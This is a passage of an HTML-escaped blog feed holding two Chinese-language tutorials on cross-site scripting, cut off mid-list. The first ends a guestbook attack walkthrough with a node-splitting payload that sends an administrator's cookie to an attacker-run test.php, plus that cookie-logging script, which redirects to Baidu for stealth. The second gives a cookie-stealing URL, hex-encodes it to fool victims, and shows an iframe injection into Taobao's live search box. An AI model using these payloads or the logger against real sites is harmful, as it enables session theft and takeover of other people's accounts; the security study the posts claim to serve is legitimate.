&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #008800; "&gt;'name'&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: #666600; "&gt;=&amp;gt;&lt;/span&gt;$name&lt;span style="color: #666600; "&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style="color: #880000; "&gt;//name没有任何过滤&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #008800; "&gt;'content'&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #666600; "&gt;=&amp;gt;&lt;/span&gt;$content&lt;span style="color: #666600; "&gt;,&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #008800; "&gt;'img'&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #666600; "&gt;=&amp;gt;&lt;/span&gt;$_POST&lt;span style="color: #666600; "&gt;[&lt;/span&gt;&lt;span style="color: #008800; "&gt;'img'&lt;/span&gt;&lt;span style="color: #666600; "&gt;],&lt;/span&gt; &lt;span style="color: #880000; "&gt;// img也没有过滤&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #008800; "&gt;'time'&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: #666600; "&gt;=&amp;gt;&lt;/span&gt;date &lt;span style="color: #666600; "&gt;(&lt;/span&gt; &lt;span style="color: #008800; "&gt;"Y-m-d H:i:s"&lt;/span&gt; &lt;span style="color: #666600; "&gt;),&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #008800; "&gt;'inc'&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #666600; "&gt;=&amp;gt;&lt;/span&gt;&lt;span style="color: #006666; "&gt;0&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #666600; "&gt;);&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $id &lt;span style="color: #666600; "&gt;=&lt;/span&gt; $db&lt;span style="color: #666600; "&gt;-&amp;gt;&lt;/span&gt;save&lt;span style="color: #666600; "&gt;(&lt;/span&gt;&lt;span style="color: #008800; "&gt;'message'&lt;/span&gt;&lt;span style="color: #666600; "&gt;,&lt;/span&gt;$record&lt;span style="color: #666600; "&gt;);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #000088; "&gt;if&lt;/span&gt;&lt;span style="color: #666600; "&gt;(&lt;/span&gt;$id&lt;span style="color: #666600; "&gt;){&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #880000; "&gt;//my_msg("留言成功，您的留言正在被验证","message.php?id=c04");&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #666600; "&gt;}&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #666600; "&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #666600; "&gt;}&lt;/span&gt;&lt;p&gt;源代码中仅仅对content进行了处理，这是非常危险的。&lt;/p&gt;&lt;p&gt;再来看img为什么要修改为：&lt;/p&gt;&lt;span style="color: #008800; "&gt;"&amp;gt;&amp;lt;script&amp;gt;document.location = 'http://localhost/test.php?cookie=' + document.cookie;&amp;lt;/script&amp;gt;&amp;lt;img&lt;/span&gt;&lt;p&gt;在message.php中查看头像的源代码：&amp;nbsp;&lt;tt style="font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Lucida Console', monospace; font-size: 12px; max-width: 66em; "&gt;&amp;lt;img class="avatar" src="images/pic_1.gif" width="50" height="50" /&amp;gt;&amp;lt;&lt;/tt&gt;&amp;nbsp;替换之后就是&lt;/p&gt;&lt;span style="color: #000088; "&gt;&amp;lt;img&lt;/span&gt;&amp;nbsp;&lt;span style="color: #660066; "&gt;class&lt;/span&gt;&lt;span style="color: #666600; "&gt;=&lt;/span&gt;&lt;span style="color: #008800; "&gt;"avatar"&lt;/span&gt; &lt;span style="color: #660066; "&gt;src&lt;/span&gt;&lt;span style="color: #666600; "&gt;=&lt;/span&gt;&lt;span style="color: #008800; "&gt;"images"&lt;/span&gt;&lt;span style="color: #000088; "&gt;&amp;gt;&amp;lt;script&amp;gt;&lt;/span&gt;document&lt;span style="color: #666600; "&gt;.&lt;/span&gt;location &lt;span style="color: #666600; "&gt;=&lt;/span&gt; &lt;span style="color: #008800; "&gt;'http://localhost/test.php?cookie='&lt;/span&gt; &lt;span style="color: #666600; "&gt;+&lt;/span&gt; document&lt;span style="color: #666600; "&gt;.&lt;/span&gt;cookie&lt;span style="color: #666600; "&gt;;&lt;/span&gt;&lt;span style="color: #000088; "&gt;&amp;lt;/script&amp;gt;&amp;lt;img&lt;/span&gt; &lt;span style="color: #660066; "&gt;width&lt;/span&gt;&lt;span style="color: #666600; "&gt;=&lt;/span&gt;&lt;span style="color: #008800; "&gt;"50"&lt;/span&gt; &lt;span style="color: #660066; "&gt;height&lt;/span&gt;&lt;span style="color: #666600; "&gt;=&lt;/span&gt;&lt;span style="color: #008800; "&gt;"50"&lt;/span&gt; &lt;span style="color: #000088; "&gt;/&amp;gt;&lt;/span&gt;&lt;p&gt;这就是所谓的node-splitting 攻击&lt;/p&gt;&lt;p&gt;当管理员返回前台查看用户留言时，它的cookie就会作为参数发送到我本地的test.php中。&lt;/p&gt;&lt;p&gt;test.php的内容为：&lt;/p&gt;&lt;span style="color: #666600; "&gt;&amp;lt;?&lt;/span&gt;php&lt;br /&gt;&lt;br /&gt;$cookie &lt;span style="color: #666600; "&gt;=&lt;/span&gt; $_GET&lt;span style="color: #666600; "&gt;[&lt;/span&gt;&lt;span style="color: #008800; "&gt;'cookie'&lt;/span&gt;&lt;span style="color: #666600; "&gt;];&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: #880000; "&gt;//以GET方式获取cookie变量值&lt;/span&gt;&lt;br /&gt;$ip &lt;span style="color: #666600; "&gt;=&lt;/span&gt; getenv &lt;span style="color: #666600; "&gt;(&lt;/span&gt;&lt;span style="color: #008800; "&gt;'REMOTE_ADDR'&lt;/span&gt;&lt;span style="color: #666600; "&gt;);&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: #880000; "&gt;//远程主机IP地址&lt;/span&gt;&lt;br /&gt;$time&lt;span style="color: #666600; "&gt;=&lt;/span&gt;date&lt;span style="color: #666600; "&gt;(&lt;/span&gt;&lt;span style="color: #008800; "&gt;'Y-m-d g:i:s'&lt;/span&gt;&lt;span style="color: #666600; "&gt;);&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: #880000; "&gt;//以&amp;#8220;年-月-日 时：分：秒&amp;#8221;的格式显示时间&lt;/span&gt;&lt;br /&gt;$referer&lt;span style="color: #666600; "&gt;=&lt;/span&gt;getenv &lt;span style="color: #666600; "&gt;(&lt;/span&gt;&lt;span style="color: #008800; "&gt;'HTTP_REFERER'&lt;/span&gt;&lt;span style="color: #666600; "&gt;);&lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span style="color: #880000; "&gt;//链接来源&lt;/span&gt;&lt;br /&gt;$agent &lt;span style="color: #666600; "&gt;=&lt;/span&gt; $_SERVER&lt;span style="color: #666600; "&gt;[&lt;/span&gt;&lt;span style="color: #008800; "&gt;'HTTP_USER_AGENT'&lt;/span&gt;&lt;span style="color: #666600; "&gt;];&lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span style="color: #880000; "&gt;//用户浏览器类型&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;$fp &lt;span style="color: #666600; "&gt;=&lt;/span&gt; fopen&lt;span style="color: #666600; "&gt;(&lt;/span&gt;&lt;span style="color: #008800; "&gt;'cookie.txt'&lt;/span&gt;&lt;span style="color: #666600; "&gt;,&lt;/span&gt; &lt;span style="color: #008800; "&gt;'a'&lt;/span&gt;&lt;span style="color: #666600; "&gt;);&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: #880000; "&gt;//打开cookie.txt，若不存在则创建它&lt;/span&gt;&lt;br /&gt;fwrite&lt;span style="color: #666600; "&gt;(&lt;/span&gt;$fp&lt;span style="color: #666600; "&gt;,&lt;/span&gt;&lt;span style="color: #008800; "&gt;" IP: "&lt;/span&gt; &lt;span style="color: #666600; "&gt;.&lt;/span&gt;$ip&lt;span style="color: #666600; "&gt;.&lt;/span&gt; &lt;span style="color: #008800; "&gt;"\n Date and Time: "&lt;/span&gt; &lt;span style="color: #666600; "&gt;.&lt;/span&gt;$time&lt;span style="color: #666600; "&gt;.&lt;/span&gt; &lt;span style="color: #008800; "&gt;"\n User Agent:"&lt;/span&gt;&lt;span style="color: #666600; "&gt;.&lt;/span&gt;$agent&lt;span style="color: #666600; "&gt;.&lt;/span&gt;&lt;span style="color: #008800; "&gt;"\n Referer: "&lt;/span&gt;&lt;span style="color: #666600; "&gt;.&lt;/span&gt;$referer&lt;span style="color: #666600; "&gt;.&lt;/span&gt;&lt;span style="color: #008800; "&gt;"\n Cookie: "&lt;/span&gt;&lt;span style="color: #666600; "&gt;.&lt;/span&gt;$cookie&lt;span style="color: #666600; "&gt;.&lt;/span&gt;&lt;span style="color: #008800; "&gt;"\n\n\n"&lt;/span&gt;&lt;span style="color: #666600; "&gt;);&lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span style="color: #880000; "&gt;//写入文件&lt;/span&gt;&lt;br /&gt;fclose&lt;span style="color: #666600; "&gt;(&lt;/span&gt;$fp&lt;span style="color: #666600; "&gt;);&lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span style="color: #880000; "&gt;//关闭文件&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;header&lt;span style="color: #666600; "&gt;(&lt;/span&gt;&lt;span style="color: #008800; "&gt;"Location: http://www.baidu.com"&lt;/span&gt;&lt;span style="color: #666600; "&gt;);&lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span style="color: #880000; "&gt;//将网页重定向到百度，增强隐蔽性&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #666600; "&gt;?&amp;gt;&lt;/span&gt;&lt;p&gt;这样，我们就得到了管理员的cookie，利用所谓的&amp;#8220;session 窃取&amp;#8221;获得了网站最高权限。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a name="0x04_引用"&gt;&lt;/a&gt;0x04 引用&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion&amp;nbsp;&lt;a href="http://ha.ckers.org/xss.html" rel="nofollow" style="color: #0000cc; "&gt;http://ha.ckers.org/xss.html&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/jecray/aggbug/2475701.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jecray/archive/2012/04/28/2475701.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jecray/archive/2012/04/28/2475700.html</id><title type="text">[转](原创)攻击方式学习之(1) - 跨站式脚本(Cross-Site Scripting)</title><summary type="text">声明：本文仅供学习研究之用，对于本文提到的某些网站的XSS漏洞，请读者发扬高尚的人道主义精神不要去危害他人，同时希望相应的网站能够尽快修补XSS漏洞。简介XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。使用过ASP的同学一定见过这样的代码：Hello,&amp;nbsp;&lt;%Response.Write(Request.Querystring("name"))%&gt;假如我传入的name的值为：&amp;l</summary><published>2012-04-28T12:17:00Z</published><updated>2012-04-28T12:17:00Z</updated><author><name>jecray</name><uri>http://www.cnblogs.com/jecray/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jecray/archive/2012/04/28/2475700.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jecray/archive/2012/04/28/2475700.html"/><content type="html">&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: red; "&gt;声明：本文仅供学习研究之用，对于本文提到的某些网站的XSS漏洞，请读者发扬高尚的人道主义精神不要去危害他人，同时希望相应的网站能够尽快修补XSS漏洞。&lt;/span&gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; " /&gt;&lt;p&gt;&lt;strong&gt;简介&lt;/strong&gt;&lt;/p&gt;&lt;span style="color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; "&gt;XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。&lt;/span&gt;&lt;p&gt;使用过ASP的同学一定见过这样的代码：&lt;/p&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Hello&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;amp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;nbsp&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;%&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Response&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Write&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Request&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Querystring&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"name"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;))&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;%&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;假如我传入的name的值为：&lt;/p&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;script&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;gt;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;x&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;document&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;cookie&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;alert&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;x&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;);&amp;lt;/&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;script&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;这样就可以直接盗取用户的cookie。所以我就可以发送一条链接地址让别人去点：&lt;/p&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;http://www.xxx.com/reg.asp?name=&amp;lt;script&amp;gt;x=document.cookie;alert(x);&amp;lt;/script&amp;gt;&lt;/div&gt;&lt;p&gt;当然这样做没有一点隐蔽性，虽然前面的xxx.com瞒过了少数人，但大多数人可以辨认出后面的javascript代码，所以，我只需要将后面的javascript代码转换成URL的16进制，如：&lt;/p&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;http://www.xxx.com/reg.asp?name=%3C%73%63%72%69%70%74%3E%78%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%61%6C%65%72%74%28%78%29%3B%3C%2F%73%63%72%69%70%74%3E&lt;/div&gt;&lt;p&gt;上面的URL你还认得吗？除非你把它转换出来。（进制转换可以使用Napkin工具，哎，太坏了。。有人问Napkin的下载地址，贴在这里好了：http://www.0x90.org/releases/napkin/Napkin-1.0-Windows.zip）&lt;/p&gt;&lt;p&gt;&lt;strong&gt;根本原因&lt;/strong&gt;&lt;/p&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;1. 没有对输入进行约束，没有对输出进行编码&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;2. 没有严格区分&amp;#8220;数据&amp;#8221;和&amp;#8220;代码&amp;#8221;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;发现大名鼎鼎的淘宝网也存在这样的漏洞，我们在搜索框中输入：&lt;/p&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;"/&amp;gt;&amp;lt;div style="position:absolute;left:0px;top:0px;"&amp;gt;&amp;lt;iframe src="http://www.baidu.com" FRAMEBORDER=0 width=1000 height=900/&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;a href="&lt;/div&gt;&lt;p&gt;这样，我们已经修改了淘宝原有的页面，在下面嵌入了百度的首页。效果如图：&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;img alt="" src="file:///C:/Users/Administrator/Desktop/(%E5%8E%9F%E5%88%9B)%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F%E5%AD%A6%E4%B9%A0%E4%B9%8B(1)%20-%20%E8%B7%A8%E7%AB%99%E5%BC%8F%E8%84%9A%E6%9C%AC(Cross-Site%20Scripting)%20-%20CoderZh%20-%20%E5%8D%9A%E5%AE%A2%E5%9B%AD_files/TAOBAO.JPG" width="98%" height="532" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; " /&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;使用时机&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;我尝试在各种不同网站寻找 XSS漏洞， baidu, amazon.cn, youku.com, dangdang.com等等。结果，我发现XSS漏洞非常普遍！其实XSS利用的是网页的回显，即，接收用户的输入，然后再在页面显示用户的输入。总结 一下几个可能会出现漏洞的地方：&lt;/p&gt;&lt;ol type="1" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 2em; padding-top: 0px; 